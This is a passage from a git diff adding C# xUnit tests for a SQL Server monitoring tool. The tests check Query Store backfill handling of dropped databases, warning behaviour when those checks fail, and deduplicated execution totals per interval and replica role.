+    public async Task TheGoneReportedSet_IsTrimmedToTheCandidatesStillListed()
+    {
+        using var run = new Run(_duckDb);
+
+        await run.SeedRowAsync(Kept, TimeSpan.FromHours(1));
+        await run.SeedRowAsync(Dropped, TimeSpan.FromHours(1));
+        await run.SeedSnapshotAsync(TimeSpan.FromMinutes(5), Kept);
+
+        Assert.Equal([Kept], await run.DropGoneAsync([Kept, Dropped]));
+        Assert.Equal(1, run.GoneReportedCount);
+
+        /* The dropped database's rows aged out, so it left the candidate list: its entry goes with it. */
+        Assert.Equal([Kept], await run.DropGoneAsync([Kept]));
+        Assert.Equal(0, run.GoneReportedCount);
+
+        /* An empty list trims too. */
+        Assert.Equal([Kept], await run.DropGoneAsync([Kept, Dropped]));
+        Assert.Equal(1, run.GoneReportedCount);
+        Assert.Empty(await run.DropGoneAsync([]));
+        Assert.Equal(0, run.GoneReportedCount);
+    }
+
+    private sealed class Harness(DuckDbInitializer duckDb, ServerManager servers, ScheduleManager schedules, ILogger<RemoteCollectorService>? logger)
+        : RemoteCollectorService(duckDb, servers, schedules, logger)
+    {
+        public Task<List<string>> DropGoneAsync(int serverId, List<string> candidates, int databaseStatesIntervalMinutes)
+            => DropGoneBackfillDatabasesAsync(
+                serverId, candidates, DateTime.UtcNow.AddDays(-7), CancellationToken.None, ServerLabel, databaseStatesIntervalMinutes);
+
+        public int GoneReportedCount(int serverId) => GoneReportedCountForTests(serverId);
+
+        public Task<bool> TickAsync(ServerConnection server) => RunQueryStoreBackfillSliceAsync(server, CancellationToken.None);
+
+        public Task PruneAsync(int serverId) => PruneOrphanedQueryStoreDatabaseStateAsync(serverId, CancellationToken.None);
+
+        public Task MarkDoneAsync(int serverId, string database) => SaveCollectorStateAsync(
+            serverId,
+            QueryStoreBackfillState.StateCollectorName,
+            new Dictionary<string, string>(StringComparer.Ordinal)
+            {
+                [QueryStoreBackfillState.DoneKeyPrefix + database] = DateTime.UtcNow.ToString("o", CultureInfo.InvariantCulture),
+            },
+            CancellationToken.None);
+    }
+
+    /// <summary>One backfill run against the shared DuckDB: a harness whose slice body completes for every
+    /// database except <see cref="Dropped"/>, which throws what a missing database throws.</summary>
+    private sealed class Run : IDisposable
+    {
+        private readonly DuckDbInitializer _duckDb;
+        private readonly string _configDirectory = Path.Combine(Path.GetTempPath(), "qs-backfill-dropped-" + Guid.NewGuid().ToString("N"));
+        private readonly ServerConnection _server = new() { ServerName = ServerLabel, DisplayName = ServerLabel };
+        private long _id = 548300;
+
+        public Run(DuckDbInitializer duckDb, ILogger<RemoteCollectorService>? logger = null)
+        {
+            _duckDb = duckDb;
+            Directory.CreateDirectory(_configDirectory);
+            Harness = new Harness(duckDb, new ServerManager(_configDirectory), new ScheduleManager(_configDirectory), logger);
+            ServerId = RemoteCollectorService.GetDeterministicHashCode(RemoteCollectorService.GetServerNameForStorage(_server));
+            Harness.SliceOverrideForTests = async (database, span) =>
+            {
+                Attempts.Add(database);
+                if (string.Equals(database, Dropped, StringComparison.Ordinal))
+                {
+                    throw new InvalidOperationException(MissingMessage);
+                }
+
+                await Harness.MarkDoneAsync(ServerId, database);
+            };
+        }
+
+        public Harness Harness { get; }
+
+        public int ServerId { get; }
+
+        /// <summary>The backfill horizon for this server: a row older than it makes a database "done" without a slice.</summary>
+        public TimeSpan Horizon => Harness.BackfillHorizonFor(_server);
+
+        public List<string> Attempts { get; } = [];
+
+        public async Task TicksAsync(int ticks)
+        {
+            for (var tick = 0; tick < ticks; tick++)
+            {
+                try
+                {
+                    await Harness.TickAsync(_server);
+                }
+                catch (InvalidOperationException ex) when (ex.Message.Contains("database does not exist", StringComparison.Ordinal))
+                {
+                    /* The collection loop's per-server catch logs a failed slice and carries on to the next tick. */
+                }
+            }
+        }
+
+        /// <summary>One stored row <paramref name="age"/> old whose last_execution_time is an hour older: inside the
+        /// horizon, so the database is a candidate, and newer than the floor, so a tail slice is pending.</summary>
+        public async Task SeedRowAsync(string databaseName, TimeSpan age)
+        {
+            var now = DateTime.UtcNow;
+            using var readLock = _duckDb.AcquireReadLock();
+            using var connection = _duckDb.CreateConnection();
+            await connection.OpenAsync();
+            using var cmd = connection.CreateCommand();
+            cmd.CommandText = @"
+INSERT INTO query_store_stats
+    (collection_id, collection_time, server_id, server_name, database_name,
+     query_id, plan_id, execution_type_desc, first_execution_time, last_execution_time,
+     query_text, query_hash, execution_count, avg_cpu_time_us, avg_duration_us,
+     query_plan_hash, is_forced_plan, force_failure_count)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18)";
+            var id = ++_id;
+            cmd.Parameters.Add(new DuckDBParameter { Value = id });
+            cmd.Parameters.Add(new DuckDBParameter { Value = now - age });
+            cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+            cmd.Parameters.Add(new DuckDBParameter { Value = ServerLabel });
+            cmd.Parameters.Add(new DuckDBParameter { Value = databaseName });
+            cmd.Parameters.Add(new DuckDBParameter { Value = id });
+            cmd.Parameters.Add(new DuckDBParameter { Value = 1L });
+            cmd.Parameters.Add(new DuckDBParameter { Value = "Regular" });
+            cmd.Parameters.Add(new DuckDBParameter { Value = now - age - TimeSpan.FromHours(1) });
+            cmd.Parameters.Add(new DuckDBParameter { Value = now - age - TimeSpan.FromHours(1) });
+            cmd.Parameters.Add(new DuckDBParameter { Value = "SELECT 1" });
+            cmd.Parameters.Add(new DuckDBParameter { Value = "0xTESTHASH" });
+            cmd.Parameters.Add(new DuckDBParameter { Value = 10L });
+            cmd.Parameters.Add(new DuckDBParameter { Value = 1000L });
+            cmd.Parameters.Add(new DuckDBParameter { Value = 2000L });
+            cmd.Parameters.Add(new DuckDBParameter { Value = "0xTESTPLANHASH" });
+            cmd.Parameters.Add(new DuckDBParameter { Value = false });
+            cmd.Parameters.Add(new DuckDBParameter { Value = 0L });
+            await cmd.ExecuteNonQueryAsync();
+        }
+
+        /// <summary>A hole key for <paramref name="databaseName"/>, its updated_at set explicitly so it can sit
+        /// before a snapshot (a state save stamps "now", which no past snapshot could judge).</summary>
+        public async Task SeedHoleAsync(string databaseName, TimeSpan age)
+        {
+            using var readLock = _duckDb.AcquireReadLock();
+            using var connection = _duckDb.CreateConnection();
+            await connection.OpenAsync();
+            using var cmd = connection.CreateCommand();
+            cmd.CommandText = @"
+INSERT OR REPLACE INTO collector_state (server_id, collector_name, state_key, state_value, updated_at)
+VALUES ($1, $2, $3, $4, $5)";
+            cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+            cmd.Parameters.Add(new DuckDBParameter { Value = QueryStoreBackfillState.StateCollectorName });
+            cmd.Parameters.Add(new DuckDBParameter { Value = QueryStoreBackfillState.HoleKeyPrefix + databaseName });
+            cmd.Parameters.Add(new DuckDBParameter
+            {
+                Value = QueryStoreBackfillState.EncodeHole(DateTime.UtcNow.AddDays(-2), DateTime.UtcNow.AddHours(-5)),
+            });
+            cmd.Parameters.Add(new DuckDBParameter { Value = DateTime.UtcNow - age });
+            await cmd.ExecuteNonQueryAsync();
+        }
+
+        public async Task SeedSnapshotAsync(TimeSpan age, params string[] databases)
+        {
+            using var readLock = _duckDb.AcquireReadLock();
+            using var connection = _duckDb.CreateConnection();
+            await connection.OpenAsync();
+            var dbId = 1;
+            foreach (var database in databases)
+            {
+                using var cmd = connection.CreateCommand();
+                cmd.CommandText = @"
+INSERT INTO database_states (collection_id, collection_time, server_id, server_name, database_name, database_id, state_desc, is_in_standby)
+VALUES ($1, $2, $3, $4, $5, $6, 'ONLINE', false)";
+                cmd.Parameters.Add(new DuckDBParameter { Value = ++_id });
+                cmd.Parameters.Add(new DuckDBParameter { Value = DateTime.UtcNow - age });
+                cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+                cmd.Parameters.Add(new DuckDBParameter { Value = ServerLabel });
+                cmd.Parameters.Add(new DuckDBParameter { Value = database });
+                cmd.Parameters.Add(new DuckDBParameter { Value = dbId++ });
+                await cmd.ExecuteNonQueryAsync();
+            }
+        }
+
+        public int GoneReportedCount => Harness.GoneReportedCount(ServerId);
+
+        public Task<List<string>> DropGoneAsync(List<string> candidates, int databaseStatesIntervalMinutes = 0)
+            => Harness.DropGoneAsync(ServerId, candidates, databaseStatesIntervalMinutes);
+
+        /// <summary>One stored row stamped exactly <paramref name="collectionTime"/>.</summary>
+        public async Task SeedRowAtAsync(string databaseName, DateTime collectionTime)
+        {
+            using var readLock = _duckDb.AcquireReadLock();
+            using var connection = _duckDb.CreateConnection();
+            await connection.OpenAsync();
+            using var cmd = connection.CreateCommand();
+            cmd.CommandText = @"
+INSERT INTO query_store_stats
+    (collection_id, collection_time, server_id, server_name, database_name,
+     query_id, plan_id, execution_type_desc, first_execution_time, last_execution_time,
+     query_text, query_hash, execution_count, avg_cpu_time_us, avg_duration_us,
+     query_plan_hash, is_forced_plan, force_failure_count)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18)";
+            var id = ++_id;
+            cmd.Parameters.Add(new DuckDBParameter { Value = id });
+            cmd.Parameters.Add(new DuckDBParameter { Value = collectionTime });
+            cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+            cmd.Parameters.Add(new DuckDBParameter { Value = ServerLabel });
+            cmd.Parameters.Add(new DuckDBParameter { Value = databaseName });
+            cmd.Parameters.Add(new DuckDBParameter { Value = id });
+            cmd.Parameters.Add(new DuckDBParameter { Value = 1L });
+            cmd.Parameters.Add(new DuckDBParameter { Value = "Regular" });
+            cmd.Parameters.Add(new DuckDBParameter { Value = collectionTime });
+            cmd.Parameters.Add(new DuckDBParameter { Value = collectionTime });
+            cmd.Parameters.Add(new DuckDBParameter { Value = "SELECT 1" });
+            cmd.Parameters.Add(new DuckDBParameter { Value = "0xTESTHASH" });
+            cmd.Parameters.Add(new DuckDBParameter { Value = 10L });
+            cmd.Parameters.Add(new DuckDBParameter { Value = 1000L });
+            cmd.Parameters.Add(new DuckDBParameter { Value = 2000L });
+            cmd.Parameters.Add(new DuckDBParameter { Value = "0xTESTPLANHASH" });
+            cmd.Parameters.Add(new DuckDBParameter { Value = false });
+            cmd.Parameters.Add(new DuckDBParameter { Value = 0L });
+            await cmd.ExecuteNonQueryAsync();
+        }
+
+        public Task SeedSnapshotAtAsync(DateTime collectionTime, params string[] databases)
+            => SeedSnapshotRowsAsync(collectionTime, databases);
+
+        /// <summary>A snapshot whose rows carry no database name (the column allows NULL).</summary>
+        public Task SeedNullNamedSnapshotAsync(TimeSpan age)
+            => SeedSnapshotRowsAsync(DateTime.UtcNow - age, [null]);
+
+        private async Task SeedSnapshotRowsAsync(DateTime collectionTime, string?[] databases)
+        {
+            using var readLock = _duckDb.AcquireReadLock();
+            using var connection = _duckDb.CreateConnection();
+            await connection.OpenAsync();
+            var dbId = 1;
+            foreach (var database in databases)
+            {
+                using var cmd = connection.CreateCommand();
+                cmd.CommandText = @"
+INSERT INTO database_states (collection_id, collection_time, server_id, server_name, database_name, database_id, state_desc, is_in_standby)
+VALUES ($1, $2, $3, $4, $5, $6, 'ONLINE', false)";
+                cmd.Parameters.Add(new DuckDBParameter { Value = ++_id });
+                cmd.Parameters.Add(new DuckDBParameter { Value = collectionTime });
+                cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+                cmd.Parameters.Add(new DuckDBParameter { Value = ServerLabel });
+                cmd.Parameters.Add(new DuckDBParameter { Value = (object?)database ?? DBNull.Value });
+                cmd.Parameters.Add(new DuckDBParameter { Value = dbId++ });
+                await cmd.ExecuteNonQueryAsync();
+            }
+        }
+
+        public Task<string?> HoleAsync(string databaseName) => StateAsync(QueryStoreBackfillState.HoleKeyPrefix, databaseName);
+
+        public async Task<string?> StateAsync(string prefix, string databaseName)
+        {
+            using var readLock = _duckDb.AcquireReadLock();
+            using var connection = _duckDb.CreateConnection();
+            await connection.OpenAsync();
+            using var cmd = connection.CreateCommand();
+            cmd.CommandText = "SELECT state_value FROM collector_state WHERE server_id = $1 AND collector_name = $2 AND state_key = $3";
+            cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+            cmd.Parameters.Add(new DuckDBParameter { Value = QueryStoreBackfillState.StateCollectorName });
+            cmd.Parameters.Add(new DuckDBParameter { Value = prefix + databaseName });
+            return await cmd.ExecuteScalarAsync() as string;
+        }
+
+        public void Dispose()
+        {
+            try
+            {
+                Directory.Delete(_configDirectory, recursive: true);
+            }
+            catch (IOException)
+            {
+                /* Best effort: a leftover temp directory is harmless. */
+            }
+        }
+    }
+
+    /// <summary>Keeps every formatted line with its level, so a test can count Warnings and look for text.</summary>
+    private sealed class CaptureLog : ILogger<RemoteCollectorService>
+    {
+        private readonly List<(LogLevel Level, string Line)> _entries = [];
+
+        public IReadOnlyList<string> Lines
+        {
+            get
+            {
+                lock (_entries)
+                {
+                    return _entries.ConvertAll(entry => entry.Line);
+                }
+            }
+        }
+
+        public IDisposable? BeginScope<TState>(TState state) where TState : notnull => null;
+
+        public bool IsEnabled(LogLevel logLevel) => true;
+
+        public void Log<TState>(LogLevel logLevel, EventId eventId, TState state, Exception? exception, Func<TState, Exception?, string> formatter)
+        {
+            lock (_entries)
+            {
+                _entries.Add((logLevel, formatter(state, exception)));
+            }
+        }
+    }
+}
diff --git a/Lite.Tests/QueryStoreBackfillReadFailureWarningTests.cs b/Lite.Tests/QueryStoreBackfillReadFailureWarningTests.cs
index f8a79198a2..119cca60d7 100644
--- a/Lite.Tests/QueryStoreBackfillReadFailureWarningTests.cs
+++ b/Lite.Tests/QueryStoreBackfillReadFailureWarningTests.cs
@@ -125,6 +125,31 @@ public async Task ACandidateReadThatIsCancelled_IsNotAFailureToWarnAbout()
         Assert.Single(_log.Warnings);
     }
 
+    [Fact]
+    public async Task ARunOfFailedGoneChecks_KeepsEveryCandidate_WarnsOnce_AndACompletedCheckEndsTheRun()
+    {
+        /* #5483: the gone-database check turns an error into "try every candidate", which brings the dropped-database
+           failures back, so it warns like the other backfill reads. */
+        List<string> candidates = ["first_db", "second_db"];
+        for (var i = 0; i < 3; i++)
+        {
+            Assert.Equal(candidates, await _harness.DropGoneAsync(candidates));
+        }
+
+        var first = Assert.Single(_log.Warnings);
+        Assert.Contains(ServerLabel, first, StringComparison.Ordinal);
+        Assert.Contains("checking which databases are gone failed", first, StringComparison.Ordinal);
+
+        /* A check that completes (no snapshot yet, so nothing is dropped) ends the run: no new Warning for it. */
+        await ExecuteAsync(CreateTableSql + "; CREATE TABLE database_states (server_id INTEGER, database_name VARCHAR, collection_time TIMESTAMP)");
+        Assert.Equal(candidates, await _harness.DropGoneAsync(candidates));
+        Assert.Single(_log.Warnings);
+
+        await ExecuteAsync("DROP TABLE database_states");
+        Assert.Equal(candidates, await _harness.DropGoneAsync(candidates));
+        Assert.Equal(2, _log.Warnings.Count);
+    }
+
     // The floor read now consults the archive view, as a store does after InitializeAsync,
     // so a "working store" here includes it.
     private const string CreateTableSql =
@@ -143,6 +168,9 @@ private async Task ExecuteAsync(string sql)
     private sealed class Harness(DuckDbInitializer duckDb, ServerManager servers, ScheduleManager schedules, ILogger<RemoteCollectorService> logger)
         : RemoteCollectorService(duckDb, servers, schedules, logger)
     {
+        public Task<List<string>> DropGoneAsync(List<string> candidates) =>
+            DropGoneBackfillDatabasesAsync(ServerId, candidates, FloorLimit, CancellationToken.None, ServerLabel);
+
         public Task<List<string>> CandidatesAsync(CancellationToken cancellationToken = default) =>
             GetBackfillCandidateDatabasesAsync(ServerId, FloorLimit, new Dictionary<string, string>(StringComparer.Ordinal), cancellationToken, ServerLabel);
 
diff --git a/Lite.Tests/QueryStoreCollectorDefinitionTests.cs b/Lite.Tests/QueryStoreCollectorDefinitionTests.cs
index 9f6c56dc68..5e1aa24225 100644
--- a/Lite.Tests/QueryStoreCollectorDefinitionTests.cs
+++ b/Lite.Tests/QueryStoreCollectorDefinitionTests.cs
@@ -367,7 +367,7 @@ public void BuildEnumerationProbe_PinsLiveProductVersionCheck()
 
         Assert.NotNull(probe);
         Assert.Equal(
-            "SELECT CONVERT(integer, PARSENAME(CONVERT(sysname, SERVERPROPERTY('PRODUCTVERSION')), 4))",
+            "SELECT /* PerformanceMonitorLite */ CONVERT(integer, PARSENAME(CONVERT(sysname, SERVERPROPERTY('PRODUCTVERSION')), 4))",
             probe!.Text);
         Assert.Empty(probe.Parameters);
     }
diff --git a/Lite.Tests/QueryStoreDedupReadTests.cs b/Lite.Tests/QueryStoreDedupReadTests.cs
index d7ad3e65d4..3b510058ee 100644
--- a/Lite.Tests/QueryStoreDedupReadTests.cs
+++ b/Lite.Tests/QueryStoreDedupReadTests.cs
@@ -104,7 +104,8 @@ private async Task SeedAsync(
         long avgWrites = 0,
         long avgPhysicalReads = 0,
         string executionType = "Regular",
-        string? moduleName = null)
+        string? moduleName = null,
+        string? replicaRole = null)
     {
         using var readLock = _duckDb.AcquireReadLock();
         var connection = await SeedConnectionAsync();
@@ -116,8 +117,8 @@ INSERT INTO query_store_stats
      module_name, query_text, query_hash, execution_count, avg_cpu_time_us, avg_duration_us,
      avg_logical_io_reads, avg_logical_io_writes, avg_physical_io_reads,
      query_plan_hash, is_forced_plan, force_failure_count,
-     runtime_stats_interval_id, interval_start_time_utc, interval_end_time_utc)
-VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19, $20, $21, $22, $23, $24, $25)";
+     runtime_stats_interval_id, interval_start_time_utc, interval_end_time_utc, replica_role)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19, $20, $21, $22, $23, $24, $25, $26)";
         cmd.Parameters.Add(new DuckDBParameter { Value = _nextId++ });
         cmd.Parameters.Add(new DuckDBParameter { Value = collectionTime });
         cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
@@ -143,6 +144,7 @@ INSERT INTO query_store_stats
         cmd.Parameters.Add(new DuckDBParameter { Value = (object?)intervalId ?? DBNull.Value });
         cmd.Parameters.Add(new DuckDBParameter { Value = (object?)intervalStart ?? DBNull.Value });
         cmd.Parameters.Add(new DuckDBParameter { Value = (object?)intervalEnd ?? DBNull.Value });
+        cmd.Parameters.Add(new DuckDBParameter { Value = (object?)replicaRole ?? DBNull.Value });
         await cmd.ExecuteNonQueryAsync();
     }
 
@@ -808,6 +810,89 @@ assertion rather than a comment. */
         Assert.Equal(bucket.TotalCpu, point.CpuMs, precision: 6);
     }
 
+    /// <summary>
+    /// #5306: the history window's read keeps listing EVERY snapshot (the "show me every snapshot" surface that
+    /// #1841 left raw on purpose), and the window's Total Executions counts each interval once, at its latest
+    /// snapshot, from the identity the read carries.
+    ///
+    /// <para>The seed is this class's cumulative shape plus a second interval: interval one collected three times
+    /// (10, 25, 40) and interval two collected once (5). The grid's four rows add up to 80, which is what the window
+    /// showed; the interval-aware total is 45.</para>
+    /// </summary>
+    [Fact]
+    public async Task HistoryRead_ListsEverySnapshot_WhileTheSummaryTotalCountsEachIntervalOnce()
+    {
+        const long QueryId = 7;
+        const long PlanId = 77;
+
+        foreach (var (minute, execs) in new[] { (5, 10L), (10, 25L), (15, 40L) })
+        {
+            await SeedAsync(BucketStart.AddMinutes(minute), QueryId, PlanId, FirstExecA,
+                executionCount: execs, avgCpuUs: 100, avgDurationUs: 100, avgReads: 1, queryHash: "0xHASH_H",
+                intervalId: 9301, intervalStart: BucketStart);
+        }
+        await SeedAsync(BucketStart.AddMinutes(20), QueryId, PlanId, FirstExecB,
+            executionCount: 5, avgCpuUs: 100, avgDurationUs: 100, avgReads: 1, queryHash: "0xHASH_H",
+            intervalId: 9302, intervalStart: BucketStart.AddMinutes(15));
+
+        var rows = await new LocalDataService(_duckDb).GetQueryStoreHistoryAsync(ServerId, Db, QueryId, hoursBack: 24);
+
+        /* The grid is unchanged: every snapshot, oldest first. */
+        Assert.Equal(4, rows.Count);
+        Assert.Equal(new long[] { 10, 25, 40, 5 }, rows.Select(r => r.ExecutionCount).ToArray());
+        Assert.Equal(80, rows.Sum(r => r.ExecutionCount));
+
+        /* The read carries the interval identity the total keys on. */
+        Assert.Equal(new long?[] { 9301, 9301, 9301, 9302 }, rows.Select(r => r.RuntimeStatsIntervalId).ToArray());
+        Assert.All(rows, r => Assert.Null(r.ReplicaRole));
+
+        Assert.Equal(45, QueryStoreHistoryRow.TotalExecutions(rows));
+
+        /* The helper's key lives in C# and the aggregate reads' PARTITION BY lives in SQL, so nothing but a
+           comparison on one seed fails when only one of them changes. The grid's top read, over the same rows,
+           reports the same count for the query as the window's Total Executions does. */
+        var top = Assert.Single(
+            await new LocalDataService(_duckDb).GetQueryStoreTopQueriesAsync(ServerId, hoursBack: 24),
+            r => r.QueryId == QueryId);
+        Assert.Equal(QueryStoreHistoryRow.TotalExecutions(rows), top.TotalExecutions);
+    }
+
+    [Fact]
+    public async Task HistoryRead_CarriesTheReplicaRole_SoTheTotalCountsEachReplicasWork()
+    {
+        const long QueryId = 8;
+        const long PlanId = 88;
+
+        /* One interval, stored for the primary (6 then 9) and a readable secondary (2): the primary's latest and
+           the secondary's only snapshot both count, and the primary's first one does not. */
+        await SeedAsync(BucketStart.AddMinutes(5), QueryId, PlanId, FirstExecA,
+            executionCount: 6, avgCpuUs: 100, avgDurationUs: 100, avgReads: 1, queryHash: "0xHASH_R",
+            intervalId: 9311, intervalStart: BucketStart, replicaRole: "PRIMARY");
+        await SeedAsync(BucketStart.AddMinutes(10), QueryId, PlanId, FirstExecA,
+            executionCount: 9, avgCpuUs: 100, avgDurationUs: 100, avgReads: 1, queryHash: "0xHASH_R",
+            intervalId: 9311, intervalStart: BucketStart, replicaRole: "PRIMARY");
+        await SeedAsync(BucketStart.AddMinutes(10), QueryId, PlanId, FirstExecA,
+            executionCount: 2, avgCpuUs: 100, avgDurationUs: 100, avgReads: 1, queryHash: "0xHASH_R",
+            intervalId: 9311, intervalStart: BucketStart, replicaRole: "SECONDARY");
+
+        var rows = await new LocalDataService(_duckDb).GetQueryStoreHistoryAsync(ServerId, Db, QueryId, hoursBack: 24);
+
+        Assert.Equal(3, rows.Count);
+        Assert.Equal(2, rows.Count(r => r.ReplicaRole == "PRIMARY"));
+        Assert.Equal(1, rows.Count(r => r.ReplicaRole == "SECONDARY"));
+        Assert.Equal(17, rows.Sum(r => r.ExecutionCount));
+        Assert.Equal(9 + 2, QueryStoreHistoryRow.TotalExecutions(rows));
+
+        /* The grid's top read splits the query into one row per replica role (PRIMARY 9, SECONDARY 2), so the
+           window's total is those two rows added up, which is the comparison that pins the helper's replica_role
+           key to the SQL's. */
+        var top = (await new LocalDataService(_duckDb).GetQueryStoreTopQueriesAsync(ServerId, hoursBack: 24))
+            .Where(r => r.QueryId == QueryId)
+            .ToList();
+        Assert.Equal(2, top.Count);
+        Assert.Equal(QueryStoreHistoryRow.TotalExecutions(rows), top.Sum(r => r.TotalExecutions));
+    }
+
     /// <summary>
     /// Source-containment guard, the Lite counterpart of the Darling Viewer's SQL-constant theory. Lite
     /// builds its Query Store SQL inline (no exposed constants to pin), so a FIFTH aggregate read added to
@@ -834,10 +919,16 @@ being ADDED rather than one being edited. */
         var rankFilters = Regex.Matches(source, @"(?:WHERE|AND)\s+(?:qs\.)?rn = 1").Count;
 
         Assert.Equal(6, partitions);
-        /* Eight, not six: the comparison's two deduped CTEs are each consumed TWICE — once to pick the
-           top 100 hashes and once by the value aggregate — and an rn filter missing from either consumer
-           would let the un-deduped rows straight back into the numbers. */
-        Assert.Equal(8, rankFilters);
+        /* Ten, not six: the comparison's two deduped CTEs are each consumed THREE times — once to pick the
+           top 100 hashes, once by the value aggregate, and (#5381) once by the winner CTE that names the rows
+           whose query_text is read after the ranking — and an rn filter missing from any consumer would let
+           the un-deduped rows straight back into the numbers (or the text). */
+        Assert.Equal(10, rankFilters);
+
+        /* The top-queries read's `ranked` is a pass-through over `deduped` (WHERE 1 = 1) since #5381: the join to the
+           latest snapshot's id is the only thing keeping an un-deduped row out of it (#1841). Counting rn filters does
+           not see that join go, so it is pinned here. */
+        Assert.Contains("INNER JOIN latest ON latest.latest_id = collection_id", source, StringComparison.Ordinal);
 
         /* Every dedup orders by collection_time FIRST — "latest" is never decided by execution_count, which
            can sit still across a hundred re-collections of the same interval.
diff --git a/Lite.Tests/QueryStoreHistoryTotalExecutionsTests.cs b/Lite.Tests/QueryStoreHistoryTotalExecutionsTests.cs
new file mode 100644
index 0000000000..a966bbdb75
--- /dev/null
+++ b/Lite.Tests/QueryStoreHistoryTotalExecutionsTests.cs
@@ -0,0 +1,286 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// #5306: the Query Store history window's Total Executions counts each Query Store interval ONCE, at its latest
+/// snapshot.
+///
+/// <para>The history grid lists every stored snapshot on purpose (#1841): query_store_stats rows are cumulative per
+/// interval, and the collector re-fetches the open interval every cycle, so one interval collected N times is N rows
+/// with a growing execution_count. Adding the column up over those rows counts the interval about N times. The
+/// summary has to take the newest snapshot of each interval first, keyed on the same interval identity the aggregate
+/// reads in LocalDataService.QueryStore.cs dedup on: plan_id, runtime_stats_interval_id, first_execution_time,
+/// execution_type_desc and replica_role (database_name and query_id are constant in this one query-scoped read).</para>
+///
+/// <para>The expected numbers are written out against the true totals, so each one fails against the plain sum the
+/// window used before.</para>
+/// </summary>
+public sealed class QueryStoreHistoryTotalExecutionsTests
+{
+    private static readonly DateTime T0 = new(2026, 3, 1, 10, 0, 0, DateTimeKind.Unspecified);
+
+    /// <summary>One stored snapshot. An interval is named by its id; its first_execution_time follows from it.</summary>
+    private static QueryStoreHistoryRow Snapshot(
+        int collectedAtMinute,
+        long executions,
+        long? interval = 100,
+        long plan = 11,
+        string executionType = "Regular",
+        string? replicaRole = null,
+        bool legacyNoFirstExecution = false) =>
+        new()
+        {
+            CollectionTime = T0.AddMinutes(collectedAtMinute),
+            ExecutionCount = executions,
+            PlanId = plan,
+            RuntimeStatsIntervalId = interval,
+            FirstExecutionTime = legacyNoFirstExecution ? null : T0.AddMinutes((interval ?? 0) / 100.0),
+            ExecutionTypeDesc = executionType,
+            ReplicaRole = replicaRole,
+        };
+
+    [Fact]
+    public void OneIntervalCollectedThreeTimes_PlusAnotherCollectedOnce_TotalsTheLatestOfEach()
+    {
+        var rows = new List<QueryStoreHistoryRow>
+        {
+            Snapshot(5, 10, interval: 100),
+            Snapshot(10, 25, interval: 100),
+            Snapshot(15, 40, interval: 100),
+            Snapshot(20, 5, interval: 200),
+        };
+
+        /* 40 (interval one's last snapshot) + 5 (interval two's only one). The plain sum of the column, which is
+           what the window showed before, is 10 + 25 + 40 + 5 = 80. */
+        Assert.Equal(80, rows.Sum(r => r.ExecutionCount));
+        Assert.Equal(45, QueryStoreHistoryRow.TotalExecutions(rows));
+    }
+
+    [Fact]
+    public void TwoPlansOfTheSameInterval_EachCountItsOwnLatestSnapshot()
+    {
+        /* Plan 11 and plan 22 ran in the SAME interval, so they share runtime_stats_interval_id and
+           first_execution_time and differ only in plan_id. A key without plan_id would count one plan's work and
+           drop the other's; a key with it counts each once. */
+        var rows = new List<QueryStoreHistoryRow>
+        {
+            Snapshot(5, 10, interval: 100, plan: 11),
+            Snapshot(5, 3, interval: 100, plan: 22),
+            Snapshot(10, 25, interval: 100, plan: 11),
+            Snapshot(10, 7, interval: 100, plan: 22),
+            Snapshot(15, 40, interval: 100, plan: 11),
+        };
+
+        Assert.Equal(40 + 7, QueryStoreHistoryRow.TotalExecutions(rows));
+    }
+
+    [Fact]
+    public void IntervalsSharingACollectionTime_BothCount()
+    {
+        /* An interval's closing fetch and the next interval's first fetch land in the same cycle, so two
+           different intervals carry the same collection_time. Taking only the newest collection time, or keying
+           on the collection time, would keep one of them and drop the other. */
+        var rows = new List<QueryStoreHistoryRow>
+        {
+            Snapshot(5, 10, interval: 100),
+            Snapshot(10, 30, interval: 100),
+            Snapshot(10, 4, interval: 200),
+            Snapshot(15, 12, interval: 200),
+        };
+
+        Assert.Equal(30 + 12, QueryStoreHistoryRow.TotalExecutions(rows));
+
+        /* The same shape with the two intervals' ONLY snapshots on one collection time. */
+        var sameInstantOnly = new List<QueryStoreHistoryRow>
+        {
+            Snapshot(10, 30, interval: 100),
+            Snapshot(10, 12, interval: 200),
+        };
+
+        Assert.Equal(30 + 12, QueryStoreHistoryRow.TotalExecutions(sameInstantOnly));
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public void SnapshotsOfOneIntervalTiedOnCollectionTime_TakeTheLargerCount_InEitherInputOrder(bool sliverFirst)
+    {
+        /* The #1907 residual, as the aggregate reads treat it: Query Store's flushed and in-memory slices of one
+           interval were stored as two rows sharing the whole identity AND the collection time. The larger count
+           is the flushed slice, and it wins whichever way the rows arrive. */
+        var sliver = Snapshot(10, 25, interval: 100);
+        var flushed = Snapshot(10, 100, interval: 100);
+        var rows = sliverFirst ? new List<QueryStoreHistoryRow> { sliver, flushed } : new List<QueryStoreHistoryRow> { flushed, sliver };
+
+        Assert.Equal(100, QueryStoreHistoryRow.TotalExecutions(rows));
+    }
+
+    [Fact]
+    public void TheLatestSnapshotIsTheNewestByTime_NotTheLargestCount()
+    {
+        /* "Latest" is the newest collection_time, never the biggest execution_count: the later snapshot of this
+           interval holds fewer executions than the earlier one. */
+        var rows = new List<QueryStoreHistoryRow>
+        {
